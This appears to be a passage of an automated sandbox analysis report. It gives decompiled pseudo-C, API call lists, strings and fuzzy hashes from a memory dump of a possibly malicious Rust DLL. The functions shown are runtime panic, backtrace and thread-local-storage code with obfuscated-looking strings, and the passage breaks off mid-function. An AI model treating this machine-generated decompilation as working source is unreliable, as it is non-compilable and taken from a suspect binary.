								HeapFree( *0x6ec3e128, 0, _t205);
							}
						}
						_t206 = 1;
						goto L54;
					} else {
						_t208 =  *(_t310 + 0xe);
						 *(_t310 + 0x6c) = 0;
						 *((char*)(_t310 + 0xf)) = 0;
						 *(_t310 + 0x40) = _a8;
						 *(_t310 + 0x44) = 0;
						__eflags = _t208;
						 *((char*)(_t310 + 0x50)) = _t208;
						 *(_t310 + 0x2c) = _t310 + 0xe;
						 *(_t310 + 0x48) = _t310 + 0x5c;
						 *((intOrPtr*)(_t310 + 0x4c)) = 0x6ec2fde0;
						 *(_t310 + 0x1b) = _t208 != 0;
						 *(_t310 + 0x30) = _t310 + 0x6c;
						 *(_t310 + 0x34) = _t310 + 0x1b;
						 *((intOrPtr*)(_t310 + 0x38)) = _t310 + 0xf;
						 *((intOrPtr*)(_t310 + 0x3c)) = _t310 + 0x40;
						 *(_t310 + 0x10) = GetCurrentProcess();
						 *(_t310 + 0x24) = GetCurrentThread();
						_t307 = _t310 + 0x190;
						E6EBFE9D0(_t307, _t307, 0, 0x2d0);
						_t324 = _t322 + 0xc;
						_push(_t307);
						L6EBFC5AE();
						_t217 = E6EBEE4E0(_t265, _t307, _t310);
						__eflags = _t217;
						if(_t217 == 0) {
							_t308 =  *0x6ec3e148; // 0x0
							 *(_t310 + 0x58) = _t294;
							__eflags = _t308;
							if(_t308 == 0) {
								_t218 = GetProcAddress( *0x6ec3e130, "SymFunctionTableAccess64");
								__eflags = _t218;
								if(__eflags == 0) {
									 *(_t310 + 0x5a8) = 3;
									E6EC094E0(_t265, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6ec30ad0);
									goto L70;
								} else {
									_t308 = _t218;
									 *0x6ec3e148 = _t218;
									_t267 =  *0x6ec3e14c; // 0x0
									__eflags = _t267;
									if(_t267 != 0) {
										goto L41;
									} else {
										goto L39;
									}
								}
							} else {
								_t267 =  *0x6ec3e14c; // 0x0
								__eflags = _t267;
								if(_t267 != 0) {
									L41:
									 *(_t310 + 0x20) = GetCurrentProcess();
									_t221 =  *0x6ec3e158; // 0x0
									 *(_t310 + 0x1c) = _t308;
									 *(_t310 + 0x14) = _t267;
									__eflags = _t221;
									if(_t221 != 0) {
										L44:
										 *(_t310 + 0x28) = _t221;
										 *(_t310 + 0x74) = 0;
										 *(_t310 + 0x70) = 0;
										E6EBFE9D0(_t308, _t310 + 0x80, 0, 0x10c);
										_t324 = _t324 + 0xc;
										 *(_t310 + 0x7c) = 0;
										 *(_t310 + 0x78) =  *(_t310 + 0x248);
										 *(_t310 + 0x84) = 3;
										 *((intOrPtr*)(_t310 + 0xa8)) =  *((intOrPtr*)(_t310 + 0x254));
										 *(_t310 + 0xac) = 0;
										 *(_t310 + 0xb4) = 3;
										 *((intOrPtr*)(_t310 + 0x98)) =  *((intOrPtr*)(_t310 + 0x244));
										 *(_t310 + 0x9c) = 0;
										 *(_t310 + 0xa4) = 3;
										while(1) {
											_t227 =  *(_t310 + 0x28)(0x14c,  *(_t310 + 0x10),  *(_t310 + 0x24), _t310 + 0x78, _t310 + 0x190, 0, _t308, _t267, 0, 0);
											__eflags = _t227 - 1;
											if(_t227 != 1) {
												goto L47;
											}
											 *(_t310 + 0x188) =  *_t267( *(_t310 + 0x20),  *(_t310 + 0x78), 0);
											 *(_t310 + 0x5a8) = 3;
											_t235 = E6EBEE6E0(_t267, _t310 + 0x2c, _t310 + 0x70, _t308, _t310);
											_t308 =  *(_t310 + 0x1c);
											_t267 =  *(_t310 + 0x14);
											__eflags = _t235;
											if(_t235 != 0) {
												continue;
											}
											goto L47;
										}
										goto L47;
									} else {
										_t221 = GetProcAddress( *0x6ec3e130, "StackWalkEx");
										__eflags = _t221;
										if(_t221 == 0) {
											E6EBFE9D0(_t308, _t310 + 0x80, 0, 0x100);
											_t324 = _t324 + 0xc;
											 *(_t310 + 0x74) = 0;
											 *(_t310 + 0x70) = 1;
											 *(_t310 + 0x188) = 0;
											 *(_t310 + 0x7c) = 0;
											 *(_t310 + 0x78) =  *(_t310 + 0x248);
											 *(_t310 + 0x84) = 3;
											 *((intOrPtr*)(_t310 + 0xa8)) =  *((intOrPtr*)(_t310 + 0x254));
											 *(_t310 + 0xac) = 0;
											 *(_t310 + 0xb4) = 3;
											 *((intOrPtr*)(_t310 + 0x98)) =  *((intOrPtr*)(_t310 + 0x244));
											 *(_t310 + 0x9c) = 0;
											 *(_t310 + 0xa4) = 3;
											do {
												_t284 =  *0x6ec3e144; // 0x0
												__eflags = _t284;
												if(_t284 != 0) {
													L63:
													_t241 =  *_t284(0x14c,  *(_t310 + 0x10),  *(_t310 + 0x24), _t310 + 0x78, _t310 + 0x190, 0, _t308, _t267, 0);
													__eflags = _t241 - 1;
													if(_t241 != 1) {
														L47:
														ReleaseMutex( *(_t310 + 0x58));
														__eflags =  *((char*)(_t310 + 0xf));
														if( *((char*)(_t310 + 0xf)) != 0) {
															goto L50;
														} else {
															goto L48;
														}
														goto L54;
													} else {
														goto L64;
													}
												} else {
													_t244 = GetProcAddress( *0x6ec3e130, "StackWalk64");
													__eflags = _t244;
													if(__eflags == 0) {
														 *(_t310 + 0x5a8) = 3;
														E6EC094E0(_t267, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6ec30ad0);
														goto L70;
													} else {
														_t284 = _t244;
														 *0x6ec3e144 = _t244;
														goto L63;
													}
												}
												goto L71;
												L64:
												 *(_t310 + 0x188) =  *_t267( *(_t310 + 0x20),  *(_t310 + 0x78), 0);
												 *(_t310 + 0x5a8) = 3;
												_t243 = E6EBEE6E0(_t267, _t310 + 0x2c, _t310 + 0x70, _t308, _t310);
												_t308 =  *(_t310 + 0x1c);
												_t267 =  *(_t310 + 0x14);
												__eflags = _t243;
											} while (_t243 != 0);
											goto L47;
										} else {
											 *0x6ec3e158 = _t221;
											goto L44;
										}
									}
								} else {
									L39:
									_t246 = GetProcAddress( *0x6ec3e130, "SymGetModuleBase64");
									__eflags = _t246;
									if(__eflags == 0) {
										 *(_t310 + 0x5a8) = 3;
										E6EC094E0(_t267, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6ec30ad0);
										L70:
										asm("ud2");
										_push(_t313);
										return E6EBEE6D0( *((intOrPtr*)( &_v1456 + 0x58)));
									} else {
										_t267 = _t246;
										 *0x6ec3e14c = _t246;
										goto L41;
									}
								}
							}
						} else {
							__eflags =  *((char*)(_t310 + 0xf));
							if( *((char*)(_t310 + 0xf)) != 0) {
								goto L50;
							} else {
								L48:
								__eflags =  *(_t310 + 0xe);
								if( *(_t310 + 0xe) != 0) {
									L55:
									_t229 =  *(_t310 + 0x5c);
									__eflags = _t229;
									if(_t229 != 0) {
										__eflags =  *(_t310 + 0x60);
										if( *(_t310 + 0x60) != 0) {
											HeapFree( *0x6ec3e128, 0, _t229);
										}
									}
									_t206 = 0;
								} else {
									 *(_t310 + 0x190) = 0x6ec2fe4c;
									 *(_t310 + 0x194) = 1;
									 *(_t310 + 0x198) = 0;
									 *((intOrPtr*)(_t310 + 0x1a0)) = 0x6ec2f570;
									 *(_t310 + 0x1a4) = 0;
									 *(_t310 + 0x5a8) = 2;
									_push(_t310 + 0x190);
									_t233 = E6EBE2150( *((intOrPtr*)(_a8 + 0x18)),  *(_a8 + 0x1c));
									__eflags = _t233;
									if(_t233 == 0) {
										goto L55;
									} else {
										goto L50;
									}
								}
							}
							L54:
							 *[fs:0x0] =  *((intOrPtr*)(_t310 + 0x5a0));
							return _t206;
						}
					}
				}
				L71:
			}

APIs

SetLastError.KERNEL32(00000000), ref: 6EBEDE42
GetCurrentDirectoryW.KERNEL32(?,?), ref: 6EBEDE4A
GetLastError.KERNEL32 ref: 6EBEDE56
GetLastError.KERNEL32 ref: 6EBEDE68
GetLastError.KERNEL32 ref: 6EBEDECC
HeapFree.KERNEL32(00000000,00000000), ref: 6EBEDEFD
HeapFree.KERNEL32(00000000,?), ref: 6EBEDF47
HeapFree.KERNEL32(00000000,?), ref: 6EBEDF58
GetCurrentProcess.KERNEL32(?), ref: 6EBEE031
GetCurrentThread.KERNEL32 ref: 6EBEE039
RtlCaptureContext.KERNEL32(?), ref: 6EBEE059
GetProcAddress.KERNEL32(SymFunctionTableAccess64,?), ref: 6EBEE09A
GetProcAddress.KERNEL32(SymGetModuleBase64), ref: 6EBEE0C4
GetCurrentProcess.KERNEL32 ref: 6EBEE0D9
GetProcAddress.KERNEL32(StackWalkEx), ref: 6EBEE0FB
ReleaseMutex.KERNEL32(?), ref: 6EBEE1E8
HeapFree.KERNEL32(00000000,?), ref: 6EBEE26B
HeapFree.KERNEL32(00000000,?,?), ref: 6EBEE29D
GetProcAddress.KERNEL32(StackWalk64), ref: 6EBEE345

Strings

StackWalkEx, xrefs: 6EBEE0F0
SymFunctionTableAccess64, xrefs: 6EBEE08F
StackWalk64, xrefs: 6EBEE33A
called `Option::unwrap()` on a `None` value, xrefs: 6EBEE3CC, 6EBEE3EF, 6EBEE412
SymGetModuleBase64, xrefs: 6EBEE0B9

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap$AddressCurrentErrorLastProc$Process$CaptureContextDirectoryMutexReleaseThread
String ID: StackWalk64$StackWalkEx$SymFunctionTableAccess64$SymGetModuleBase64$called `Option::unwrap()` on a `None` value
API String ID: 1381040140-1036201984
Opcode ID: 0b53a9ddd5ee5a0b50f76661a4ec2b6867ff8cce1494b89f7b72172944327c61
Instruction ID: 267e222b2769852220dfca107d7133ca86a3eea9be8393f6c85761499a24443e
Opcode Fuzzy Hash: 0b53a9ddd5ee5a0b50f76661a4ec2b6867ff8cce1494b89f7b72172944327c61
Instruction Fuzzy Hash: 6C1248B1500B409FE731CFA0C994B97BBF4BB49348F10492DE5AA87A91E7B1B449CF52

Uniqueness

Uniqueness Score: -1.00%

Function 6EBEC700, Relevance: 32.0, APIs: 14, Strings: 4, Instructions: 477
memoryCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E6EBEC700(long _a4, signed int _a8) {
				void* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				char _v41;
				long _v48;
				long* _v52;
				intOrPtr _v56;
				long _v60;
				void _v64;
				long* _v68;
				long _v72;
				char _v76;
				long* _v80;
				void* _v84;
				char _v88;
				long _v92;
				char* _v96;
				long _v100;
				void* _v104;
				void** _v108;
				void* _v112;
				long _v116;
				void* _v120;
				long _v124;
				char _v128;
				intOrPtr _v132;
				void _v136;
				void* _v140;
				intOrPtr _v144;
				signed int _v148;
				intOrPtr _v152;
				intOrPtr* _t190;
				void* _t194;
				void _t195;
				intOrPtr* _t196;
				signed int _t197;
				signed int _t199;
				char* _t201;
				long _t202;
				long _t203;
				void* _t204;
				void* _t205;
				long _t206;
				void _t209;
				void _t210;
				void* _t219;
				void* _t222;
				long _t226;
				void* _t235;
				void* _t245;
				void* _t247;
				void* _t248;
				char** _t251;
				char** _t252;
				void* _t256;
				void* _t260;
				void _t264;
				char _t265;
				signed char _t267;
				void _t270;
				intOrPtr _t273;
				void* _t275;
				char* _t276;
				void _t277;
				void* _t280;
				intOrPtr _t291;
				intOrPtr _t295;
				void _t298;
				long _t302;
				void* _t307;
				void* _t308;
				void* _t309;
				signed int _t310;
				signed int _t312;
				void* _t318;
				intOrPtr* _t324;
				long _t326;
				void* _t327;
				void* _t330;
				void* _t331;
				void* _t332;
				void* _t333;
				void* _t334;
				void* _t335;
				intOrPtr _t336;
				void* _t347;
				void* _t360;
				long _t361;

				_v32 = _t336;
				_v20 = 0xffffffff;
				_v24 = E6EBF39A0;
				_t264 = _t270;
				_t332 = 1;
				_t330 = _t307;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				asm("lock xadd [0x6ec3e120], esi");
				_t190 = E6EBED000(_t264, _t330);
				_t337 = _t190;
				if(_t190 == 0) {
					_t190 = E6EC095A0(_t264,  &M6EC2F8F7, 0x46, _t337,  &_v68, 0x6ec2f870, 0x6ec2f9bc);
					_t336 = _t336 + 0xc;
					asm("ud2");
				}
				_t308 = _a8;
				_t273 =  *_t190 + 1;
				 *_t190 = _t273;
				if(_t332 < 0 || _t273 >= 3) {
					__eflags = _t273 - 2;
					if(__eflags <= 0) {
						_v124 = 0x6ec2f570;
						_v120 = 0x6ec2f824;
						_v68 = 0x6ec30260;
						_v64 = 2;
						_v96 = 0;
						_v100 = 0;
						_v60 = 0;
						_v116 = _a4;
						_v112 = _t308;
						_t309 =  &_v68;
						_v80 =  &_v124;
						_v76 = E6EBE2470;
						_v52 =  &_v80;
						_v48 = 1;
						_t194 = E6EBED0F0( &_v100, __eflags);
						__eflags = _t194 - 3;
						if(_t194 == 3) {
							_v20 = 0;
							_v36 = _t309;
							 *((intOrPtr*)( *((intOrPtr*)(_t309 + 4))))( *_t309);
							_t336 = _t336 + 4;
							L11:
							_t332 = _v36;
							_t302 =  *(_t332 + 4);
							__eflags =  *(4 + _t302);
							if( *(4 + _t302) != 0) {
								_t256 =  *_t332;
								__eflags =  *((intOrPtr*)(_t302 + 8)) - 9;
								if( *((intOrPtr*)(_t302 + 8)) >= 9) {
									_t256 =  *(_t256 - 4);
								}
								HeapFree( *0x6ec3e128, 0, _t256);
							}
							_t194 = HeapFree( *0x6ec3e128, 0, _t332);
						}
						goto L16;
					}
					_t327 =  &_v68;
					_v68 = 0x6ec30224;
					_v64 = 1;
					_v60 = 0;
					_v52 = 0x6ec2f570;
					_v120 = 0;
					_v124 = 0;
					_v48 = 0;
					_t194 = E6EBED0F0( &_v124, __eflags);
					__eflags = _t194 - 3;
					if(_t194 != 3) {
						goto L16;
					} else {
						_v20 = 1;
						_v36 = _t327;
						 *((intOrPtr*)( *((intOrPtr*)(_t327 + 4))))( *_t327);
						_t336 = _t336 + 4;
						goto L11;
					}
				} else {
					_v132 = _t273;
					__imp__AcquireSRWLockShared(0x6ec3e11c);
					_v144 = 0x6ec3e11c;
					_v20 = 2;
					_v136 = _t264;
					_v140 = _t330;
					_t260 =  *((intOrPtr*)(_t330 + 0x10))(_t264);
					_t336 = _t336 + 4;
					_v36 = _t260;
					_v40 = _t308;
					_t194 = E6EBED000(_t264, _t330);
					_t330 = _v40;
					_t340 = _t194;
					if(_t194 != 0) {
						L17:
						__eflags =  *_t194 - 1;
						_t275 = 1;
						if( *_t194 <= 1) {
							_t195 =  *0x6ec3e110; // 0x0
							_t310 = _a8;
							__eflags = _t195 - 2;
							if(_t195 == 2) {
								_t275 = 0;
								goto L19;
							}
							__eflags = _t195 - 1;
							if(_t195 == 1) {
								_t275 = 4;
								goto L19;
							}
							__eflags = _t195;
							if(_t195 != 0) {
								goto L19;
							}
							E6EBED380(_t264,  &_v68, _t330, _t332);
							_t330 = _v40;
							_t248 = _v68;
							__eflags = _t248;
							if(_t248 != 0) {
								goto L68;
							}
							_t267 = 5;
							goto L86;
						}
						_t310 = _a8;
						goto L19;
					} else {
						E6EC095A0(_t264,  &M6EC2F8F7, 0x46, _t340,  &_v68, 0x6ec2f870, 0x6ec2f9bc);
						_t336 = _t336 + 0xc;
						L61:
						asm("ud2");
						L62:
						_t276 = "Box<dyn Any><unnamed>thread \'\' panicked at \'\', ";
						_t201 = 0xc;
						L21:
						_v100 = _t276;
						_v96 = _t201;
						_t202 =  *0x6ec3d044; // 0x0
						if(_t202 == 0) {
							_t280 = 0x6ec3d044;
							_t202 = E6EBF2960(_t264, 0x6ec3d044, _t330, _t332);
						}
						_t194 = TlsGetValue(_t202);
						if(_t194 <= 1) {
							L42:
							_t203 =  *0x6ec3d044; // 0x0
							__eflags = _t203;
							if(_t203 == 0) {
								_t280 = 0x6ec3d044;
								_t203 = E6EBF2960(_t264, 0x6ec3d044, _t330, _t332);
							}
							_t194 = TlsGetValue(_t203);
							__eflags = _t194;
							if(_t194 == 0) {
								_t204 =  *0x6ec3e128; // 0x2ff0000
								__eflags = _t204;
								if(_t204 != 0) {
									L66:
									_t205 = HeapAlloc(_t204, 0, 0x10);
									__eflags = _t205;
									if(__eflags != 0) {
										 *_t205 = 0;
										 *(_t205 + 0xc) = 0x6ec3d044;
										_t332 = _t205;
										_t206 =  *0x6ec3d044; // 0x0
										__eflags = _t206;
										if(_t206 == 0) {
											_v36 = _t332;
											_t206 = E6EBF2960(_t264, 0x6ec3d044, _t330, _t332);
											_t332 = _v36;
										}
										_t194 = TlsSetValue(_t206, _t332);
										goto L75;
									}
									L67:
									_t248 = E6EC092F0(_t264, 0x10, 4, _t330, _t332, __eflags);
									asm("ud2");
									L68:
									_t326 = _v60;
									_t298 = _v64;
									__eflags = _t326 - 4;
									if(_t326 == 4) {
										__eflags =  *_t248 - 0x6c6c7566;
										if( *_t248 != 0x6c6c7566) {
											L83:
											_t332 = 2;
											_t267 = 0;
											__eflags = 0;
											L84:
											__eflags = _t298;
											if(_t298 != 0) {
												HeapFree( *0x6ec3e128, 0, _t248);
											}
											L86:
											__eflags = _t267 - 5;
											_t310 = _a8;
											_t269 =  !=  ? _t332 : 1;
											_t275 =  !=  ? _t267 & 0x000000ff : 4;
											_t142 =  !=  ? _t332 : 1;
											_t264 =  *0x6ec3e110;
											 *0x6ec3e110 =  !=  ? _t332 : 1;
											L19:
											_v148 = _t310;
											_v128 = _t275;
											_t59 = _t330 + 0xc; // 0x6ebf3290
											_t196 =  *_t59;
											_v40 = _t196;
											_t197 =  *_t196(_v36);
											_t336 = _t336 + 4;
											_t312 = _t310 ^ 0x7ef2a91e | _t197 ^ 0xecc7bcf4;
											__eflags = _t312;
											if(__eflags != 0) {
												_t199 = _v40(_v36);
												_t336 = _t336 + 4;
												__eflags = _t312 ^ 0xe43a67d8 | _t199 ^ 0xbae7a625;
												if(__eflags != 0) {
													goto L62;
												}
												_t251 = _v36;
												_t276 =  *_t251;
												_t201 = _t251[2];
												goto L21;
											}
											_t252 = _v36;
											_t276 =  *_t252;
											_t201 = _t252[1];
											goto L21;
										}
										_t267 = 1;
										_t332 = 3;
										goto L84;
									}
									__eflags = _t326 - 1;
									if(_t326 != 1) {
										goto L83;
									}
									__eflags =  *_t248 - 0x30;
									if( *_t248 != 0x30) {
										goto L83;
									}
									_t267 = 4;
									_t332 = 1;
									goto L84;
								}
								_t204 = GetProcessHeap();
								__eflags = _t204;
								if(__eflags == 0) {
									goto L67;
								}
								 *0x6ec3e128 = _t204;
								goto L66;
							} else {
								_t332 = _t194;
								__eflags = _t194 - 1;
								if(_t194 != 1) {
									L75:
									_t277 =  *(_t332 + 8);
									__eflags =  *_t332;
									_t136 = _t332 + 4; // 0x4
									_t330 = _t136;
									 *_t332 = 1;
									 *(_t332 + 4) = 0;
									 *(_t332 + 8) = 0;
									if(__eflags != 0) {
										__eflags = _t277;
										if(__eflags != 0) {
											asm("lock dec dword [ecx]");
											if(__eflags == 0) {
												_t194 = E6EBEC640(_t277);
											}
										}
									}
									goto L26;
								}
								_v84 = 0;
								_v36 = 0;
								_t210 = 0;
								__eflags = 0;
								goto L47;
							}
						} else {
							_t330 = _t194;
							if( *_t194 != 1) {
								goto L42;
							}
							_t330 = _t330 + 4;
							L26:
							if( *_t330 != 0) {
								E6EC095A0(_t264, "already borrowedC:cmfltobzsqiwzwswifceeeiuunqkihdnyjizwfcsrqtsqkmwekwaanfzackndqagesnhktvjovmkrgyplrusstvgwloxgtnnoxmtpmkzzsudqjpdkuwbmncfcubd", 0x10, __eflags,  &_v68, 0x6ec2f860, 0x6ec2ff30);
								_t336 = _t336 + 0xc;
								goto L61;
							}
							 *_t330 = 0xffffffff;
							_t332 =  *(_t330 + 4);
							if(_t332 == 0) {
								_v36 = _t330;
								_v20 = 8;
								_t247 = E6EBEC4D0(_t264, _t330, _t332);
								_t330 = _v36;
								_t332 = _t247;
								_t194 =  *(_t330 + 4);
								_t347 = _t194;
								if(_t347 != 0) {
									asm("lock dec dword [eax]");
									if(_t347 == 0) {
										_t280 =  *(_t330 + 4);
										_t194 = E6EBEC640(_t280);
									}
								}
								 *(_t330 + 4) = _t332;
							}
							asm("lock inc dword [esi]");
							if(_t347 <= 0) {
								L16:
								asm("ud2");
								asm("ud2");
								goto L17;
							} else {
								 *_t330 =  *_t330 + 1;
								_v84 = _t332;
								_v36 = _t332;
								if(_t332 != 0) {
									_t209 =  *(_t332 + 0x10);
									__eflags = _t209;
									_t280 =  ==  ? _t209 : _t332 + 0x10;
									if(__eflags != 0) {
										L103:
										_t210 =  *_t280;
										_t280 =  *((intOrPtr*)(_t280 + 4)) - 1;
										L104:
										_v20 = 3;
										L47:
										_v124 = 0x6ec3010c;
										_v120 = 4;
										_v72 = 0;
										_v88 = 0;
										_v92 = 0;
										_v116 = 0;
										_v20 = 3;
										_t317 =  !=  ? _t210 : "<unnamed>thread \'\' panicked at \'\', ";
										_t212 =  !=  ? _t280 : 9;
										_v80 =  !=  ? _t210 : "<unnamed>thread \'\' panicked at \'\', ";
										_t318 =  &_v124;
										_v76 =  !=  ? _t280 : 9;
										_v68 =  &_v80;
										_v64 = 0x6ebedca0;
										_v60 =  &_v100;
										_v56 = 0x6ebedca0;
										_v52 =  &_v148;
										_v48 = E6EBEDCC0;
										_v108 =  &_v68;
										_v104 = 3;
										if(E6EBED0F0( &_v92, _t210) == 3) {
											_v20 = 7;
											_v40 = _t318;
											 *((intOrPtr*)( *((intOrPtr*)(_t318 + 4))))( *_t318);
											_t336 = _t336 + 4;
											_t335 = _v40;
											_t295 =  *((intOrPtr*)(_t335 + 4));
											if( *((intOrPtr*)(_t295 + 4)) != 0) {
												_t245 =  *_t335;
												if( *((intOrPtr*)(_t295 + 8)) >= 9) {
													_t245 =  *(_t245 - 4);
												}
												HeapFree( *0x6ec3e128, 0, _t245);
											}
											HeapFree( *0x6ec3e128, 0, _t335);
										}
										_t265 = _v128;
										_t219 =  <  ? (_t265 + 0x000000fd & 0x000000ff) + 1 : 0;
										if(_t219 == 0) {
											__imp__AcquireSRWLockExclusive(0x6ec3e10c);
											_v68 = 0x6ec2fad0;
											_v64 = 1;
											_v152 = 0x6ec3e10c;
											_v41 = _t265;
											_v60 = 0;
											_v20 = 6;
											_v124 =  &_v41;
											_v120 = E6EBEDD30;
											_v52 =  &_v124;
											_v48 = 1;
											_t222 = E6EBED0F0( &_v92, __eflags);
											_t333 =  &_v68;
											__imp__ReleaseSRWLockExclusive(0x6ec3e10c);
											__eflags = _t222 - 3;
											if(__eflags != 0) {
												goto L94;
											}
											_v20 = 5;
											_v40 = _t333;
											 *((intOrPtr*)( *((intOrPtr*)(_t333 + 4))))( *_t333);
											_t336 = _t336 + 4;
											goto L89;
										} else {
											if(_t219 == 1) {
												L94:
												_t360 = _v36;
												if(_t360 != 0) {
													asm("lock dec dword [eax]");
													if(_t360 == 0) {
														E6EBEC640(_v84);
													}
												}
												_t334 = _v140;
												_t331 = _v136;
												_t361 = _v72;
												if(_t361 != 0) {
													asm("lock dec dword [eax]");
													if(_t361 == 0) {
														E6EBEDA70(_v72);
													}
												}
												__imp__ReleaseSRWLockShared(0x6ec3e11c);
												_t362 = _v132 - 1;
												_v20 = 0xffffffff;
												if(_v132 > 1) {
													_v68 = 0x6ec3029c;
													_v64 = 1;
													_v60 = 0;
													_v52 = 0x6ec2f570;
													_v76 = 0;
													_v80 = 0;
													_v48 = 0;
													_t226 = E6EBED0F0( &_v80, _t362);
													_v120 =  &_v68;
													_v124 = _t226;
													E6EBED2B0( &_v124);
													asm("ud2");
													asm("ud2");
												}
												_t280 = _t331;
												E6EBED290(_t280, _t334);
												asm("ud2");
												goto L103;
											}
											 *0x6ec3d040 = 0;
											_t356 =  *0x6ec3d040;
											if( *0x6ec3d040 == 0) {
												goto L94;
											}
											_t324 =  &_v68;
											_v68 = 0x6ec3017c;
											_v64 = 1;
											_v60 = 0;
											_v52 = 0x6ec2f570;
											_v48 = 0;
											_v20 = 3;
											if(E6EBED0F0( &_v92, _t356) != 3) {
												goto L94;
											}
											_v40 = _t324;
											_v20 = 4;
											 *((intOrPtr*)( *((intOrPtr*)(_t324 + 4))))( *_t324);
											_t336 = _t336 + 4;
											L89:
											_t291 =  *((intOrPtr*)(_v40 + 4));
											if( *((intOrPtr*)(_t291 + 4)) != 0) {
												_t235 =  *_v40;
												if( *((intOrPtr*)(_t291 + 8)) >= 9) {
													_t235 =  *(_t235 - 4);
												}
												HeapFree( *0x6ec3e128, 0, _t235);
											}
											HeapFree( *0x6ec3e128, 0, _v40);
											goto L94;
										}
									}
									_t210 = 0;
									goto L104;
								}
								_t210 = 0;
								goto L47;
							}
						}
					}
				}
			}

APIs

Part of subcall function 6EBED000: TlsGetValue.KERNEL32(00000000,00000001,6EBEC746), ref: 6EBED00B
Part of subcall function 6EBED000: TlsGetValue.KERNEL32(00000000), ref: 6EBED043

AcquireSRWLockShared.KERNEL32(6EC3E11C), ref: 6EBEC785
HeapFree.KERNEL32(00000000,00000000), ref: 6EBEC8DC
HeapFree.KERNEL32(00000000,?), ref: 6EBEC8EA
TlsGetValue.KERNEL32(00000000), ref: 6EBEC94D
TlsGetValue.KERNEL32(00000000), ref: 6EBECA47
HeapFree.KERNEL32(00000000,00000000), ref: 6EBECB31
HeapFree.KERNEL32(00000000,?), ref: 6EBECB3F
GetProcessHeap.KERNEL32 ref: 6EBECC18
HeapAlloc.KERNEL32(02FF0000,00000000,00000010), ref: 6EBECC2B
TlsSetValue.KERNEL32(00000000,00000000,02FF0000,00000000,00000010), ref: 6EBECC9C
HeapFree.KERNEL32(00000000,00000000,02FF0000,00000000,00000010), ref: 6EBECD1D

Strings

already borrowedC:cmfltobzsqiwzwswifceeeiuunqkihdnyjizwfcsrqtsqkmwekwaanfzackndqagesnhktvjovmkrgyplrusstvgwloxgtnnoxmtpmkzzsudqjpdkuwbmncfcubd, xrefs: 6EBECBE1
full, xrefs: 6EBECCF8
cannot access a Thread Local Storage value during or after destructionC:kqwvpwvvlwjdcfhskugiowpmgqvcpfwggcvmmylhvkfknbiwgoixhewssvmqfpwemyruhmqomiebebgwzyjtgnzgjfkbtcehpwhopimlufuwcaldobojssciqoa, xrefs: 6EBEC74D, 6EBEC7C8
Box<dyn Any><unnamed>thread '' panicked at '', , xrefs: 6EBECC00

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$FreeValue$AcquireAllocLockProcessShared
String ID: Box<dyn Any><unnamed>thread '' panicked at '', $already borrowedC:cmfltobzsqiwzwswifceeeiuunqkihdnyjizwfcsrqtsqkmwekwaanfzackndqagesnhktvjovmkrgyplrusstvgwloxgtnnoxmtpmkzzsudqjpdkuwbmncfcubd$cannot access a Thread Local Storage value during or after destructionC:kqwvpwvvlwjdcfhskugiowpmgqvcpfwggcvmmylhvkfknbiwgoixhewssvmqfpwemyruhmqomiebebgwzyjtgnzgjfkbtcehpwhopimlufuwcaldobojssciqoa$full
API String ID: 2275035175-262129955
Opcode ID: da68b6bf59df1b2a2da2d85aa4450c82f90e0927e0cc725b5a88763fc5933aec
Instruction ID: a470bb7bef90f1ca47e243e1ae98123a821a1fff1efef3ff274746f5d16e963b
Opcode Fuzzy Hash: da68b6bf59df1b2a2da2d85aa4450c82f90e0927e0cc725b5a88763fc5933aec
Instruction Fuzzy Hash: DB1244B0E002998FEB10CFE4C855B9EBFB5FB49344F208529D415AB781E776A946CF80

Uniqueness

Uniqueness Score: -1.00%

Function 6EBEE4E0, Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 135
libraryloadersynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E6EBEE4E0(void* __ebx, void* __edi, void* __esi, char _a8) {
				int _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				void* _v36;
				void* __ebp;
				void* _t15;
				struct HINSTANCE__* _t20;
				signed int _t21;
				void* _t23;
				_Unknown_base(*)()* _t25;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t30;
				void* _t35;
				_Unknown_base(*)()* _t38;
				_Unknown_base(*)()* _t39;
				signed int _t50;
				_Unknown_base(*)()* _t52;
				void* _t59;

				_t48 = __edi;
				_push(__edi);
				_v32 = _t59 - 0x14;
				_v20 = 0xffffffff;
				_v24 = E6EBF39F0;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_t35 =  *0x6ec3e124; // 0x0
				if(_t35 == 0) {
					_t15 = CreateMutexA(0, 0, "Local\\RustBacktraceMutex");
					__eflags = _t15;
					if(_t15 == 0) {
						_t54 = 1;
						goto L19;
					} else {
						_t35 = _t15;
						__eflags = 0;
						asm("lock cmpxchg [0x6ec3e124], ebx");
						if(0 != 0) {
							CloseHandle(_t35);
							_t35 = 0;
						}
						goto L1;
					}
				} else {
					L1:
					WaitForSingleObjectEx(_t35, 0xffffffff, 0);
